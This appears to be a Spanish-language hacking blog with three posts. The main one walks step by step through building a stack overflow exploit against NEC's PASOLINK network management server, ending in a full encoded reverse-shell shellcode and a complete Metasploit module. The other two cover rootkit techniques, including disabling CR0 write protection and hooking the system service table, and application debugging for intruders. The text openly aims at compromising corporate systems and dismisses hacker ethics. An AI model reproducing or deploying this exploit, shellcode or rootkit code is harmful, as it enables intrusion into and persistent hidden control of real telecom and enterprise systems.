Escribiendo Exploits Para Aplicaciones Propietarias con Metasploit

Introducción

En el presente articulo se detalla y explica la manera en la cual se realiza un exploit con un programa real propietario, el programa objetivo de este análisis es un gestor de plataformas de telecomunicaciones para este caso hablamos del PASOLINK Network Management System (PNMS) de NEC, el cual es un sistema de gestión de equipos de radio, la versión de los clientes y la disponibilidad de los mismos será omitida por obvias razones. Como todo administrador de gestión de radio posee 2 capas a nivel de producción, el primero el mas tangible al usuario que es precisamente el sistema de gestión y todo lo que este engloba, la segunda es un servidor a nivel de tcp el cual la mayor parte de las veces sirve como socket de entrega de alarmas por un puerto determinado.

Este es un protocolo muy común en varias plataformas de gestión de telecomunicaciones, para muestras basta analizar los sistemas de gestión tales como los desarrollados por CastleRock (SNMPcOnLine en todas sus variantes http://www.castlerock.com/) el cual de la misma manera en la cual recolecta las alarmas vía SNMP, también poseen mecanismos de entrega, utilizando sencillos sockets, los cuales por difícil que parezca carecen de las mas mínimas recomendaciones de programación segura.

Cuando hablamos de aprovechar fallos de seguridad en una intranet se comete el error de buscar vulnerabilidades en entornos ya muy controlados, los IDS’s o IPS’s en sus diferente versiones, ya sean appliance o a nivel de software, dificultan de una manera increíble el trabajo de explotación, sin embargo hay que aprender que la búsqueda no comienza por lo ya de por si trillado, si no por aquello que intuitivamente sería o debería ser mas difícil de vulnerar: en este caso y como en la mayor parte de los artículos que he dado a conocer, la capa mas vulnerable es aquella que es difícil supuestamente de corromper: los sistemas de gestión.

Herramientas y Objetivos

Bien, el objetivo del presente artículo, no es detallar una intrusión haciendo uso de exploits que quedan fuera de nuestro entendimiento, el objetivo es explicar, el análisis inicial y final durante el desarrollo de un exploit haciendo uso de API’s que nos faciliten su desarrollo y analisis. Para ello utilizaremos las siguientes herramientas:

  • MetaSploit Framework: nos facilitará la generación de la cadena a inyectar en nuestro Exploit final, este posee a su vez las siguientes herramientas que describiré de manera sustancial:
    • Msfconsole (Consola de Metasploit)
    • Msfgui (Interfaz gráfica de Metasploit)
    • Msfcli (Cliente de Metasploit)
    • Msfweb (Servidor e Interfaz web de Metasploit)
  • Msfopcode (Cliente de la base de datos de opcodes de Metasploit)
  • El servidor extraído directamente del PNMS: El cual es el programa vulnerable, disponible desde aquí: wget https://jesusssx.files.wordpress.com/2010/05/serverpnms.jpg (Cambiar la extensión a .exe)
  • OllyDBG: El debugger necesario para conocer el estado del stack y las direcciones de la misma.
  • WinDBG: Un debugger que nos ayudara a conocer el contenido puntual de los registros del sistema.

Obviamente no contamos con el código fuente del pequeño servidor, sin embargo no es necesario, basta con saber como funciona. El programa se ejecuta de la siguiente manera:

Con esto el servidor se encuentra en escucha, tal cual lo hace el PNMS real, el funcionamiento original de este programa es entregar alarmas mediante el puerto que se especifica luego del nombre, se implementa un protocolo propietario, en el cual se envían señales sync y ack de manera secuencial, el servidor responde y comienza el intercambio de alarmas. El cliente se conectaría de manera sencilla de la siguiente manera.

Probando Vulnerabilidades

Evidentemente no tenemos conexión al sistema de gestión por ello no se reciben alertas, eso es lo que menos importa, vamos a probar el típico buffer overflow enviando una cadena enorme de caracteres:

Con esto enviamos 1024 veces el caracter “b” al socket, se sabe que existe un desbordamiento de pila pues el socket aun cuando se encuentra arriba ya no responde ninguna instrucción como antes lo hacia, cuando terminamos la conexión enviando un Control + C, observamos lo que ocurre en nuestro servidor PNMS:

Armando el Exploit

En efecto, existe un desbordamiento de pila, el cual sobreescribe e 62 el equivalente en Hexadecimal a “b”. El punto sensible ahora es conocer en donde se encuentra desbordando la pila para realizar el exploit que aproveche esta vulnerabilidad la cual evidentemente es muy inocentemente un descuido en el tamaño del buffer. El típico y muy conocido error es el decuido del buffer de lectura. Para conocer un poco mas acerca del desbordamiento de pila, he aquí el paper oficial publicado por Aleph One: (Smashing The Stack For Fun And Profit).

http://insecure.org/stf/smashstack.html

Necesitamos entonces conocer el significado reducido y solo por recordar, de los registros mas importantes, los cuales juegan un papel muy importante durante la generación del exploit:

  • EBP (extended base pointer)
  • ESI (extended source index)
  • EDI (extended destination index)
  • ESP (extended stack pointer)
  • EIP (enhanced instruction pointer) Apunta a la siguiente instrucción a se ejecutada.

Para ello usaremos OllyDBG con el fin de encontrar el crash a nivel de stack, se vuelve a ejecutar el Servidor y en OllyDBG se attachea el proceso del servidor haciendo clic en file->attach y seleccionamos “ServerPNMS” una vez cargado el programa realizaremos el buffer overflow enviando de nuevo 1024 veces algún caracter (en este caso “b”) y observamos la pila:

Observemos el stack para saber a partir de que dirección con exactitud se encuentra el desbordamiento del buffer:

Como se puede observar el EIP quedo sobreescrito por 62 y a partir de la dirección 0022FB60 tal cual se puede observar en la imagen, lo que ahora sigue es conocer el tamaño de nuestra cadena a inyectar en el buffer, para reservar espacio y conocer nuestra dirección de salto o retorno hacia el shellcode resultante. Para esto haremos uso del MetaSploit y de las siguientes 3 herramientas:

  • Mspayload (Generador de PAYLOADS de Metasploit)
  • Pattern_create (Genera una cadena con cierto patrón, utilizada para encontrar las direcciones offset)
  • Pattern_offset (Calcula el offset de una cadena específica)

Primeramente generaremos una cadena de 1024 bits para conocer en donde el EIP comienza a ser sobreescrito, pues necesitamos conocer la manera de escribir el EIP de la manera que mas nos convenga, para ello haremos uso de las las herramientas pattern_create.rb y pattern_offset.rb de Metasploit:

Veamos con WinDBG la dirección del EIP:

Debemos calcular el desplazamiento pues necesitamos saber en que momento reescribiremos el EIP, para ello usaremos pattern_offset haciendo uso de la info arrojada por WinDBG:

Por lo tanto observamos que a partir del carácter 524 se inicia la escritura del registro EIP ahora analicemos el contenido del registro ESP.

La dirección del ESP es: 0022fd70 el contiene: Ar6Ar, pasemos ese valor pattern_offset:

Podemos notar que a partir del carácter 528 se inicia la escritura del registro ESP, que es donde precisamente debe estar nuestro Payload. Entonces nuestro buffer debe ser:

[NOPs][shellcode][return address] total: 524 bytes.

Para ejemplificar lo que hará el Metasploit en la generación de la cadena resultante correspondiente al shellcode que se introducirá en el buffer destinado para ello usaremos la interfaz web y seleccionaremos Windows Command Shell, Reverse TCP Inline, esto para asegurar el acceso en caso de que el equipo vulnerado tenga el firewall activado:

Resumiendo: debemos indicarle al EIP que ejecute el Payload que se encuentra en ESP, para ello EIP debe contener la dirección de memoria a donde se encuentra el Payload y que a su vez apunte a una instrucción JMP ESP, normalmente deberíamos realizar nuestra propia optimización de código sin embargo para ello en esta ocasión utilizaremos la base de datos de opcodes de Metasploit. Así que llenamos los datos que se piden y damos clic en generar.

De esta manera obtenemos la siguiente cadena a inyectar:

/*
* windows/shell_reverse_tcp - 504 bytes
* http://www.metasploit.com
* Encoder: x86/shikata_ga_nai
* NOP gen: x86/opty2
* LHOST=192.168.1.77, LPORT=4444, ReverseConnectRetries=5,
* EXITFUNC=process, InitialAutoRunScript=, AutoRunScript=
*/
unsigned char buf[] =
"\x99\xbf\x7c\x43\x73\x47\x7f\x0d\x90\x1c\x25\xb1\xbe\x91\x9b"
"\x2d\x41\x4f\xb5\xb3\x20\xd1\xe0\x7b\x2f\xb6\x75\x39\xd4\x05"
"\x3b\xfd\xba\x37\x40\x66\x10\xe3\x30\xf9\x6b\xd5\x79\x74\x0c"
"\xa8\x89\xe0\x13\xc1\xe2\x04\x98\x9f\xb9\x73\x3f\xb0\x7f\x46"
"\xa9\x7c\x4a\x7b\x3d\x97\x71\x35\xb7\x78\x2c\x75\x19\xe1\x1d"
"\x83\xf9\x7a\x3c\x72\x2c\x35\x97\x4f\xb4\x7d\x37\x0b\xff\xc0"
"\xf8\xa8\x48\x92\x96\x02\xe3\x3d\x25\x24\x99\xb7\x7e\x15\xb2"
"\xb0\x76\x18\xd4\x4a\x70\x27\x91\xfc\x9b\x43\x2f\x3f\xb8\x2d"
"\x93\x67\xba\x84\xfd\xb6\x22\xf5\x40\x42\x14\x47\x4e\x98\x1c"
"\x0d\xb9\xbb\x32\xeb\x0c\x8d\xbf\xa9\x05\xb3\xbe\x34\x4b\x21"
"\xd6\xb5\x77\x04\x46\x9f\x49\x66\xb1\x90\x3a\xd5\x41\x29\xc9"
"\xbf\x92\xd9\xae\x85\xb1\x4f\xda\xc5\xd9\x74\x24\xf4\x5a\x83"
"\xea\xfc\x31\x7a\x0c\x03\x7a\x0c\x70\x2c\x52\x6d\xfd\xcf\xab"
"\x6e\x9d\x46\x4e\x5f\x8f\x3d\x1a\xf2\x1f\x35\x4e\xff\xd4\x1b"
"\x7b\x74\x98\xb3\x8c\x3d\x16\xe2\xa3\xbe\x97\x2a\x6f\x7c\xb6"
"\xd6\x72\x51\x18\xe6\xbc\xa4\x59\x2f\xa0\x47\x0b\xf8\xae\xfa"
"\xbb\x8d\xf3\xc6\xba\x41\x78\x76\xc4\xe4\xbf\x03\x7e\xe6\xef"
"\xbc\xf5\xa0\x17\xb6\x51\x11\x29\x1b\x82\x6d\x60\x10\x70\x05"
"\x73\xf0\x49\xe6\x45\x3c\x05\xd9\x69\xb1\x54\x1d\x4d\x2a\x23"
"\x55\xad\xd7\x33\xae\xcf\x03\xb6\x33\x77\xc7\x60\x90\x89\x04"
"\xf6\x53\x85\xe1\x7d\x3b\x8a\xf4\x52\x37\xb6\x7d\x55\x98\x3e"
"\xc5\x71\x3c\x1a\x9d\x18\x65\xc6\x70\x25\x75\xae\x2d\x83\xfd"
"\x5d\x39\xb5\x5f\x0a\x8e\x8b\x5f\xca\x98\x9c\x2c\xf8\x07\x36"
"\xbb\xb0\xc0\x90\x3c\xb6\xfa\x64\xd2\x49\x05\x94\xfa\x8d\x51"
"\xc4\x94\x24\xda\x8f\x64\xc8\x0f\x1f\x35\x66\xe0\xdf\xe5\xc6"
"\x50\xb7\xef\xc8\x8f\xa7\x0f\x03\xa6\xe0\x98\x6c\x11\xef\x15"
"\x05\x60\xef\xb4\x89\xed\x09\xdc\x21\xb8\x82\x49\xdb\xe1\x58"
"\xeb\x24\x3c\xc8\x88\xb7\xdb\x08\xc6\xab\x73\x5f\x8f\x1a\x8a"
"\x35\x3d\x04\x24\x2b\xbc\xd0\x0f\xef\x1b\x21\x91\xee\xee\x1d"
"\xb5\xe0\x36\x9d\xf1\x54\xe7\xc8\xaf\x02\x41\xa3\x01\xfc\x1b"
"\x18\xc8\x68\xdd\x52\xcb\xee\xe2\xbe\xbd\x0e\x52\x17\xf8\x31"
"\x5b\xff\x0c\x4a\x81\x9f\xf3\x81\x01\xaf\xb9\x8b\x20\x38\x64"
"\x5e\x71\x25\x97\xb5\xb6\x50\x14\x3f\x47\xa7\x04\x4a\x42\xe3"
"\x82\xa7\x3e\x7c\x67\xc7\xed\x7d\xa2";

Dejaremos 20 lugares para introducir los NOP’s y asegurar que nuestro salto sea tomado de manera adecuada. En este momento ya tenemos entonces la información necesaria para ensamblar nuestro exploit:

  • Información General para el Payload
    • Dirección de salto: 0x0022fb65 Para asegurar nuestro brinco
    • Tamaño total de la cadena: 524 bytes.
    • Caracteres no válidos: \x00\x20\x0D\x0A
  • Plataforma: Windows
  • Objetivos: Windows
  • Método Exploit: Reverse Shell TCP

Pasaremos al ensamblado del exploit, para ello utilizaremos la versión mas actual de este software la cual es metasploit v3.4.0-dev [core:3.4 api:1.0], haremos uso de la API para desarrollar Exploits, que como sabemos nos facilitará de manera enorme la realización de la cadena final a inyectar. Comenzamos a realizar el script inicial, que desbordará la pila sin especificar los datos importantes tales como el payload y la dirección de retorno, las partes de un exploit en el metasploit son las siguientes:

  • Comentarios
  • Dependencias
  • Definición de las clases
  • Inclusiones
  • Método del Constructor
    • Nombre del exploit.
    • Descripción del exploit.
    • Mas datos sobre el exploit

Ensamblando el script para el Metasploit y una vez explicadas cada una de los apartados que debe contener, nuestro exploit quedará de la siguiente manera: (En mi caso el script queda en la siguiente ruta: /opt/metasploit3/msf3/modules/exploits/windows/misc/PNMS.rb)

require 'msf/core'
# clase Principal
class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::Tcp # informacion de todo el exploit def initialize(info = {}) super(update_info(info, 'Name' => 'exploit PNMS',
'Description' => 'exploit PNMS',
'Author' => 'cggj',
'Version' => '1.0',
'Payload' =>
{
'Space' => 504, # espacio que usa el payload.
'StackAdjustment' => -3500,#modifica el stack pointer de donde inicia el shellcode
'BadChars' => "\x00\x20\x0D\x0A", #caracteres que no debe poseer el shellcode
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP',
{
'Platform' =>'win',
'Ret' => 0x0022fb64 # direccion de retorno 0022fb60
}
],
],
'DefaultTarget' => 0))
end
end

def check
connect
buf = "version\n"
sock.put(buf)
res = sock.get
disconnect
if res =~ /bof-server v0.01/
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end


def exploit
connect
buf = payload.encoded # Invocamos el Payload definido en el apartado Payload.
buf << make_nops(20) # Definimos 504 bytes para el tamaño del Payload faltando 20 bytes para NOPS
buf << [target.ret].pack('V') # Direccion de retorno para sobreescribir el EIP
sock.put(buf) # Envio de datos
sock.get
handler # Transfiere la conexion al handler del Payload
disconnect #Termina la conexion
end
end

Básicamente en el método exploit se define la manera en la cual se comenzará el ataque, primero conectamos con la víctima, posteriormente se crea un buffer con nuestro Payload, el cual queda regido por las propiedades definidas en la especificación del mismo. Posteriormente se añaden 20 NOP’s (x90) recordemos que el tamaño destinado a nuestro Payload fue de 504 bytes cuando necesitamos de 524 bytes, al final se agrega la dirección de retorno EIP [target.ret].pack('V') , enviamos los datos y ejecutamos el manejador (handler), para al finalizar desconectar.

Veamos su ejecución en consola (MSFCLI) para verificar que todos los datos introducidos son correctos:
(El comando a ejecutar será:

msfcli windows/misc/PNMS PAYLOAD=windows/meterpreter/reverse_tcp RPORT=3500 RHOST=192.168.1.77 LHOST=192.168.1.103 E

De esta manera especificamos nuestro exploit: PNMS, el Payload a aplicar, el puerto remoto y finalmente nuestros hosts, tanto de la víctima como el del atacante.

Como se puede observar, el exploit funciona de manera adecuada levantando una sesión remota en el servidor que aloja el PNMS, con privilegios del ejecutor de dicho programa. Ya con una Shell solo queda elevar privilegios si es que es necesario y troyanizar según se necesite.

Rootkits: Funcionamiento Interno.

Articulo publicado en el 2008 en el cual abordo el tema que será retomado en futuros post’s:

Hoy abordaré otro interesante tema: los rootkits, el tema es trillado así que brincaré definiciones y ejemplos ficticios de su utilización para pasar directamente al funcionamiento interno de estas importantes herramientas, las cuales no solo funcionan como troyanos a nivel kernel: su importante uso compromete el sistema de manera irreparable, por ello es de suma importancia conocer su funcionamiento no solo para lograr defendernos… sino para lograr alterar su composición básica y lograr la mutación adecuada asegurando el acceso al sistema comprometido en distintas ocasiones.

Para esto me centraré en los rootkits que tienen como target principal los sistemas Windows. La actividad básica que realiza un rootkit para su correcto funcionamiento son la desactivación del registro de sucesos en el sistema para un usuario determinado (Administrator) refiriendose a la auditoria interna, permite el acceso al sistema como administrador utilizando un usuario/contraseña oculto. Desactiva de manera directa la seguridad mediante la aplicación parches en el kernel, tratandose esta, la acción mas disruptiva y sensible en la manera de operar de todo rootkit. Mediante estas actividades se asegura que el sistema vulnerado podrá ser accesado de nuevo por el intruso, sin que este de señales de alerta.

Para llevar a cabo estas tareas un rootkit posee un conjunto de herramientas las cuales son capaces de sustituir los archivos binarios por otros troyanizados, esto no es dificil de creer pues un rootkit se ejecuta una vez obtenida la cuenta de Administrador, lo cual permite sobreescribir y manipular los ejecutables del sistema.

Ahora bien, para lograr su cometido todo rootkit primero requiere ocultarse al sistema fuente. para ello realiza la captura de funciones a nivel sistema (INT2Eh). Las llamadas indispensables que se capturan para después troyanizarlas son las siguientes:

– ZwCreateFile
– ZwOpenFile
– ZwQueryDirectoryFil e
– ZwOpenProcess
– ZwQuerySystemInform ation

A nivel programación esto se logra en la gran mayoria de los casos con ansi C incrustando código ASM donde este último es el verdadero malicioso, este es un fragmento de código con el cual se realiza una captura de una llamada a sistema:

mov eax, 0x0000001A
lea edx, [esp+04]
int 0x2E
ret 0x2C

donde:

EAX –> Es el identificador de la funcion.
EDX –> Es un puntero a los parámetros en la stack.

Básicamente se deposita la dirección base de la IDT en la localización especificada en el segundo parámetro indicado por esp, a partir de la base se puede indexar el descriptor de una interrupción, manipulando su selector y su desplazamiento. Una vez alcanzado este nivel de privilegios, el sistema depende por completo de los descriptores y sus posibles desplazamientos llevados a cabo por el rootkit mediante el programa especifico destinado para esta función.

Las APIs de KERNEL32 son un envoltorio entorno a las APIs de NTDLL, mucho más primitivas. Por lo tanto cada servicio del sistema posee un identificador.

12bit > Identificador del servicio.
2bit > Tabla de servicios a emplear.
0 > Servicios del núcleo (NTDLL).
1 > Servicios del entorno gráfico (WIN32K).
2 y 3 > No se emplean.
18bit > Reservados

este identificador es utilizado por el rootkit para manipular e interceptar el servicio objetivo, para ello el código de una función comienza cargando dicho identificador del servicio en EAX, sabiendo esto de antemano la línea básica para lograr esto sería:

MOV EAX,id ; A5h XX XX XX XX

Ahora bien, cual es el verdadero proposito de todos estos conceptos? pongamos un ejemplo práctico, supongamos que deseamos ejecutar Vanquish Rootkit en un sistema Windows Server Enterprise 2003 R2, recién parcheado por el administrador de sistemas y puesto a disposición de un IPS, que pasaría al tratar de instalar nuestro rootkit? quizá la instalación procederia sin ningún problema pues el IPS entra en acción una vez que el los ejecutables que forman el rootkit comienzan a aplicar el payload, una vez instalado sería inútil pues Vanquish realiza la captura de las funciones del sistema alterando la tabla de servicios, para evitar esto Microsoft decidio denegar el acceso a la escritura a partir de Windows XP el cual es el sistema mas atacado pues es un blanco mas común entre intrusos. La versión Server de windows 2003 es una versión mucho mas robusta y modular de este SO que permite la ejecución de llamadas a sistema permitiendo sobreescribir el id de urgencia, pues son equipos que regurlarmente son conectados a otros equipos de storage. Los cuales requieren altos privilegios cuando realizan replicaciones relacionadas no solo con el storage sino también con el SO.

Debuggeando un poco un agente de storage podemos percatarnos que en algunos casos, estos desactivan la protección de escritura en el registro de control CR0 para realizar funciones de mantenimiento, esto  «supuestamente» es información confidencial de los fabricantes, pero al instalar dichos agentes es bastante predecible que lo hacen pues tratandose de storage de alto rendimiento Hitachi, EMC y SUN apuestan a la constancia en linea de sus equipos de storage que a la seguridad aplicativa/abstractiva… debuggeando un poco un agente de storage del cual guardaré su confidencialidad, encontramos lo siguiente:

#define WPOFF() \
_asm mov eax, cr0 \
_asm and eax, NOT 10000H \
_asm mov cr0, eax

#define WPON() \
_asm mov eax, cr0 \
_asm or eax, 10000H \
_asm mov cr0, eax

*Obtenido con CDB.

Esto es, la desactivación de la protección y escritura del registro de control CR0, basta crear las macros para su ejecución y despues modificar a nuestro gusto la tabla de servicios de la siguiente manera:

DbgPrint( ( «GKit: HookSystemService() Hooking SST %x Index %03x Old %08x\n»,
ulSST, ulIndex, ( ULONG) pfnOldHandler)) ;
__try
{
WPOFF() ;
pfnOldHandler = InterlockedExchange Pointer( pfnHandler, pfnNewHandler) ;
WPON() ;
DbgPrint( ( «GKit: HookSystemService() Done\n»));
//Si funciona
}
__except( EXCEPTION_EXECUTE_H ANDLER)
{
pfnOldHandler = pfnHandler ;
DbgPrint( ( «GKit: HookSystemService() Hook failed – can’t write\n»)) ;
//No funciona
}

No trataré de explicar el código anterior pues es muy predecible y esta no es el objetivo de este paper, empero, basta observar la función hook con la cual se parchea la tabla. Esto es lo que haría un rootkit luego de desactivar los registros de control, los cuales, en muchos sistemas se encuentran desactivados por software propietario de storage los cuales en algunas ocasiones hay que conocerlos para simplificar nuestro trabajo.

De esta manera un rootkit toma control del sistema, es importante conocer estos conceptos básicos para dejar de ser simples usuarios que al obtener un error de ejecución opta por cambiar de aplicación, en lugar de comprender el porque de ese error y cual es su posible solución.

Esto nos da un doble valor agregado… es mas probable que un rootkit se ejecute correctamente en un servidor de alto rendimiento que un equipo windows XP con todos los hotfix aplicados al día, debido a la gran cantidad de aplicaciones tipo socket controladores que poseen. Y, si tomamos en cuenta que en la actualidad los «agentes» (un simple socket) trabajan por UDP entre servidores que alcanzan la red externa de las empresas (discos por iscsi, servidores front-end con bases en oracle atacheadas a storage comunicado por agentes etc etc, pues se trata de una necesidad BASICA), se puede observar que el campo de posibles sistemas vulnerables a este tipo de accionar es muy amplio. Solo basta saber en donde buscar y como hacerlo. Por ejemplo: Operation Manager… software que sirve para obtener información acerca de la topología e infrastructura a nivel aplicativo y de storage en toda un red… trabaja por los puertos 8752 y 8753 de manera predeterminada para los sistemas hitachis UPS y estos a su vez poseen una consola basada en Windows 2000… el campo es muy amplio, obvio Vanquish es un rootkit antiguo, conseguir rootkits actuales no es imposible.

Fuí muy breve pues es muy dificil tratar de explicar todas y cada una de las acciones que toma en cuenta un rootkit para asegurar el sistema a un intruso, pero creo que los aspectos básicos de funcionameineto fueron abordados de manera concreta.

Saludos y espero haberme explicado correctamente.

Debugging Básico

Antes de comenzar con las nuevas entradas a este Blog, comenzaré incrustando algunos de mis papers de antaño, este fue publicado en el 2008 en el portal hacker y foro hacker, se abordan temas muy básicos de debugging de aplicaciones, este tema será retomado en futuros artículos.

Doy por entendido que la mayor parte de los lectores en este foro poseen un background al menos básicos en este tema, por lo tanto no redundaré explicando que es un buffer overflow y su funcionamiento en la pila.

Por lo regular un atacante novato cuando desea lograr acceso en una pc remota, se limita a realizar un scaneo de puertos ya sea con nmap, scanline o pscan, para despues buscar alguna vulnerabilidad y ejecutar un exploit, el cuerpo real de una intrusión comienza cuando se ha brincado el primer obstaculo: el firewall, entonces nos encontramos dentro de la red de la victima y ahora que?… es aqui donde debe mostrarse el ingenio y el skill propoio de cada uno de los intrusos.

En toda red corporativa con información valiosa en verdad nos encontramos con los fastidiosos IPS’s o IDS’s… llamense envision, snort, rediris, data protector… etc, esto evita ejecutar exploits con mera libertad, entonces se debe buscar otro camino… el debugging de aplicaciones:

Un debugger es una herramienta la cual permite observar desde registros hasta el stack en tiempo real de ejecución, funciona mediante funciones hook que se unen al kernel permitiendo manipular los ciclos lógicos del reloj del cpu, para manejar paso a paso la aplicación que se encuentra debbugeando.

Realizar esto en linux es relativo sencillo pues la arquitectura y el lenguaje AT&T que se maneja a nivel maquina lo permite… pero lo interesante es un entorno Windows, pues si hablamos como intrusos podemos percatarnos que es mas facil vulnerar la aplicación «XXXXXXX» desarrollada por una consultoria «patito sa de cv» que no por lo regular no poseen métricas de software seguro (esto sucede hasta en softek quien presume de ser una poderosa fabrica de software)… este equipo Windows lo manejan usuarios que apenas si saben usar los procesadores de textos… o administradores que solo lo usan como puerta de enlace a otros equipos para su administración.

Este es el arte de la reingenieria… lo que un verdadero intruso conoce y sabe usar cuando es necesario (un verdadero intruso de nada le sirve saber «las reglas de los hacker» o etica estúpida escrita por falsas personas que se ostentan como lo que jamas podrán ser…), existen 2 tipos de debuggers:

User mode debuggers: Se trata de la forma mas simple de un debugger, es capaz de examinar el estado del programa (threads, memoria, registros y objetos del kernel abiertos en el namespace o espacio reservado para ese proceso), este tipo de debbuger también es capaz de cambiar el estado al cambiar el orden de ejecución a nivel threads. Los programas mas representativos de este tipo de debuggeo son (obviamente en windows):

cdb.exe: que es una completa consola la cual permite amarrar procesos para comenzar su analisis entre muchas otras bondades.

ntsd.exe: es identica a la herramienta anterior excepto que esta es representada por una GUI.

windbg.exe: esta es una poderosa herramienta la cual posee una interfaz gráfica mediante la cual se puede realizar todo el análisis que se desee a nivel User Mode.

El otro tipo de debbuggers son los Kernel Mode Debuggers: este tipo de debbuger maneja cada proceso o thread como una colección de estructuras de datos, donde las direcciones de memoria poseen una relacion con la dirección fisica instalada en el sistema. Este tipo de debuggers permiten debuggear targets corriendo una plataforma diferente desde un host determinado, algunos de ellos son: kd.exe y windgb.exe (para Windows).

Todo el conjunto de herramientas necesarias para comenzar a debuggear aplicaciones se encuentran en el paquete «dbg_x86_6.9.3.113.m si» el cual puede ser descargado directamente de la página de microsoft.

El objetivo de realizar reingenieria para un intruso es encontrar un error en la escritura de memoria física en relación a las páginas escritas (direcciones de memoria) por una aplicación, ocasionando asi un posible buffer overflow el cual podría ser usado para ejecutar código arbitrario y obviamente malicioso.

En un post es imposible explicar todas las funciones de cada una de las herramientas expuestas en líneas anteriores, me limitaré a un sencillo ejemplo en cual se amarrará un proceso activo a cdb.exe:

Primero listaremos los procesos y sus ID’s:

C:\Archivos de programa\Debugging Tools for Windows (x86)>tlist -t
System Process (0)
System (4)
SMSS.EXE (428)
csrss.exe (496)
winlogon.exe (520)
services.exe (564)
svchost.exe (752)
wmiprvse.exe (2164)
NMIndexStoreSvr.exe (2296) EndSessionHandling
svchost.exe (832)
svchost.exe (932)
WSCNTFY.EXE (2936)
WUAUCLT.EXE (3024)
svchost.exe (1000)
svchost.exe (1092)
spoolsv.exe (1212)
nvsvc32.exe (1384) NVSVCPMMWindowClass
svchost.exe (1416)
Tmntsrv.exe (1428)
.
.
.
.
.

Posteriormente se procede a amarrar el proceso con el debbuger:

C:\Archivos de programa\Debugging Tools for Windows (x86)>cdb -pn Tmntsrv.exe

Microsoft (R) Windows Debugger Version 6.9.0003.113 X86
Copyright (c) Microsoft Corporation. All rights reserved.

*** wait with pending attach
Symbol search path is: *** Invalid ***
****************************************************************************
* Symbol loading may be unreliable without a symbol search path.           *
* Use .symfix to have the debugger choose a symbol path.                   *
* After setting your symbol path, use .reload to refresh symbol locations. *
****************************************************************************
0:00>_

Ahora se comenzará un debuggeo inicial simulando saltos entre memoria fisica ignorando la relación en dirreciones de la aplicación:

0:10>BL
0:20>BA 000000D5
0:30>K FB
Executable search path is:
ModLoad: 00400000 0043d000   C:\Archivos de programa\Trend Micro\PC-cillin 2000\
Tmntsrv.exe
ModLoad: 7c910000 7c9c6000   C:\WINDOWS\system32\ntdll.dll
ModLoad: 7c800000 7c902000   C:\WINDOWS\system32\kernel32.dll
ModLoad: 7e390000 7e420000   C:\WINDOWS\system32\USER32.dll
ModLoad: 77ef0000 77f37000   C:\WINDOWS\system32\GDI32.dll
ModLoad: 77da0000 77e4c000   C:\WINDOWS\system32\ADVAPI32.dll
ModLoad: 77e50000 77ee2000   C:\WINDOWS\system32\RPCRT4.dll
ModLoad: 77fc0000 77fd1000   C:\WINDOWS\system32\Secur32.dll
ModLoad: 58c30000 58cca000   C:\WINDOWS\system32\COMCTL32.dll
ModLoad: 10000000 10004000   C:\Archivos de programa\Trend Micro\PC-cillin 2000\
TMNTSRV.DLL
(594.b3c): Break instruction exception – code 80000003 (first chance)
eax=7ffd5000 ebx=00000001 ecx=00000002 edx=00000003 esi=00000004 edi=00000005
eip=7c911230 esp=003effcc ebp=003efff4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00000246
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\W
INDOWS\system32\ntdll.dll –
ntdll!DbgBreakPoint:

………………. ………….

Lo que se realizó fue sencillo se establecio un breakpoint y se le indicó al debbuger cuantas intrucciones debia de saltar hacia «arriba de la pila» sin necesidad de recibir eventos… la excepción en el sistema es obvia, no se necesita ser un «hacker»… solo un intruso para intuir que mediante la inyección de DLL’s se podría tratar de obligar al SP (stack pointer) a brincar a una dirección arbitraria.

Solo resta leer y aprender a pensar como un verdadero intruso para saber que no es imposible realizar un exploit a la medida para aplicaciones desarrolladas exclusivamente para empresas, la escalada de privilegios la mayor parte de las veces se da en los coporativos mediante la explotación de aplicaciones exclusivas que con exploits descargados de algun warez…

Dudas ?